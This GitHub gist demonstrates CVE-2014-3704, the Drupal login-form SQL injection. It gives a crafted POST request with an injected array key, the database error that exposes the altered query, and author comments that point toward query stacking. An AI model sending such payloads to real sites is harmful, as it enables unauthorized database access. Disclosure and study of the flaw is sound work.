Skip to content

Instantly share code, notes, and snippets.

@v-p-b

v-p-b/gist:f76e7cd7b39f062606a6

Created October 16, 2014 09:01
Show Gist options
  • Save v-p-b/f76e7cd7b39f062606a6 to your computer and use it in GitHub Desktop.
Save v-p-b/f76e7cd7b39f062606a6 to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2014-3704
Raw
gistfile1.txt
name[0%20%20oxr%201%3d1%20--%20]=admin&name[0]=admin&pass=S2test&form_build_id=form-sn1hRoa-B1e-GhbPCBRswqRllD0noOdRnJE5iiO53pI&form_id=user_login_block&op=Log+in
<li><em class="placeholder">PDOException</em>: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;oxr 1=1 -- , &#039;admin&#039; AND status = 1&#039; at line 1: SELECT * FROM {users} WHERE name = :name_0 oxr 1=1 -- , :name_0 AND status = 1; Array
(
[:name_0 oxr 1=1 -- ] =&gt; admin
[:name_0] =&gt; admin
)
@v-p-b
Copy link
Author

v-p-b commented Oct 16, 2014

As we can see, the "oxr" string is interpreted as a keyword demonstrating that we are corrupting the structure of the SQL query.

@v-p-b
Copy link
Author

v-p-b commented Oct 16, 2014

From here we can use query stacking, as demonstrated here:

https://gist.github.com/LeShadow/131863b8844cec8edde3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment